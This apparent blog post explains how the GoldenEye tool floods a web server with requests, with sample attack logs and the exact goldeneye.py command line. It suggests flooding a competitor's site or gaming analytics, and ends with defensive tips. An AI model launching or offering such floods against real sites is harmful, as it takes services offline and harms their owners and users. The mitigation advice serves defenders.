DoS website in Kali Linux using GoldenEye

Analysis of the attack

Here’s the log from server end (I’ve replaced real IP with 127.0.0.1)

127.0.0.1 - - [14/Nov/2014:12:27:04 +1100] "GET /?EJNXO8HDpl=EwMajNhKxa&bxp=EtLn1&Uyb=nfs3I57ETsUtoNRo&6REd1geaR0=sFNMbxOc7e63XANWEVy HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (compatible; MSIE 6.1; Linux x86_64; .NET CLR 3.0.23444; X11)"
127.0.0.1 - - [14/Nov/2014:12:27:04 +1100] "GET /?UrHk=fKtKtWeNbLBN&csG7UX5=Ki6fUcuE5XEkJ&8DySEKmhO=LSMj3ETBpaX03mChRc&5IO=2EwW HTTP/1.1" 200 14137 "http://www.bing.com/nlkgkM" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit/536.2 (KHTML, like Gecko) Chrome/24.0.1831.78 Safari/535.36"
127.0.0.1 - - [14/Nov/2014:12:27:05 +1100] "GET /?aPI=KbwATrwa8H3ukQ&orBIDTNE=sLPeOsAykH&127f5U=EIxk3Tffk02Fgpdpx&HVorln=rbqB&svTJYQJb=FX2fuRV HTTP/1.1" 200 14159 "http://www.mysite.com/8pxaIa" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/536.22 (KHTML, like Gecko) Chrome/28.0.587.10 Safari/536.31"
127.0.0.1 - - [14/Nov/2014:12:27:01 +1100] "GET /?gtVwWdM6kC=fI2pKwLaw&lUXL1=L54q1i8oRmPGs7QwdRk8 HTTP/1.1" 200 14090 "http://www.baidu.com/mS6f3Rth?15vTPOgS=gmunmncva7VmH542b&7uWmMCM=diXiLQYHm4ltd8&bqCiNt=YrNGj20&rVYVD=pBQATyepegya&OLQgK4ie2=3oIcbCB&Qtn5viuw=n4iSJxaPPXR0pshPQkh&em8Pk=5oYUVYTCaSx5Y8P33y5" "Mozilla/5.0 (Windows; U; MSIE 10.0; Linux x86_64; .NET CLR 1.1.15295; X11)"
127.0.0.1 - - [14/Nov/2014:12:27:01 +1100] "GET /?bftxjXs=qH8No3I7a&xSM=jPo2kMHPE HTTP/1.1" 200 14073 "-" "Mozilla/5.0 (Linux x86_64; X11) AppleWebKit/537.29 (KHTML, like Gecko) Chrome/17.0.1100.100 Safari/535.25"

 

Just looking at the logs, you can see that each line contains a different GET request with different strings and in some cases, refers to BING, BAIDU or some random search engine.

So what happens when your Web Server see’s this attack? It analyzes the incoming traffic, checks the requested URL, source address and Referrer and allow it with HTTP 200 OK. Why? Because each browser was different. I’ve highlighted some parts in RED.

This tool was designed smartly so that any server would think there are all different users trying to browse from a single IP(maybe a Proxy IP from a large organization?) with different browser (Firefox, Chrome, MSIE, Safari etc.), different Operating Systems (Mac, Linux, Windows etc.) and they even arrived via different referrer. Well, maybe the requested URL was incorrect, but a normal Web Server would either allow it, redirect it to an error page with all while the connection being left open (i.e. Apache worker/socket). A standard web server usually allows X number of concurrent users from the same IP, and with that many open connection/used socket, this type of attack puts a heavy pressure on the server and any subsequent users gets an error (HTTP 503 or similar). So the attacker with a few random proxy/VPN, can exhaust server resources quickly. He can even slow down the attack per IP to avoid initial detection:

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py http://www.goldeneyetestsite.com/ -w 10 -s 10 -m random

The above command uses

-w = 10 workers

-s = 10 simultenious connections

-m = random, a mix of GET and POST

A perfect DoS!

An interesting observation with Google and GoldenEye

I’ve tried this live just to see how a real web server behaves. Interestingly, I found that Google Analytics thinks this is real traffic and adds the flooder’s (though from same IP but with different referrer and browsers makes Google think that they are separate users) connections to it’s statistics. I can think of two ways to exploit it:

• Get a higher ratings in Google as it would assume you are getting legit traffic.
• If Google eventually can put a logic behind it, then still flood a competitors website to lower it in Google’s ranking.

I guess it cuts both ways.

Block/defend against GoldenEye attack

Following suggestions would work well when you’re using Apache:

1. Lower per IP connection (usually it 300 per IP for Apache)
2. Edit connection per IP threshold.
3. Disable KeepAlive and lower Connection Timeout settings (default is 300)
4. If you’re hosted on a Shared server, contact SysAdmin. If they can’t defend this simple attack, just migrate to a better hosting company.
5. Use a Web application Firewall (WAF).
6. White-list incoming queries and this attack will have no affect on your server.
7. NGINX and Node.js seems to work better against these type of attacks.

Conclusion

GoldenEye seems like a superset (or similar) of HTTP Flooder. Both works in similar ways but GoldenEye’s NoCache and KeepAlive makes a big difference. Also, it uses an interesting way of mix-matching Browser, Operating System and Referrer which can be deceptive to a Firewall.

All in all, it’s a good tool to load test your personal website (with permission from your Hosting company), your corporate website and any web application that allows incoming GET or POST request. Use it to update your Firewall rules, Application Firewall and thus avoid future attacks.

I would be interested to hear your solution, so if you are experiencing these type of attacks, leave a comment and your solution here. Please share and RT.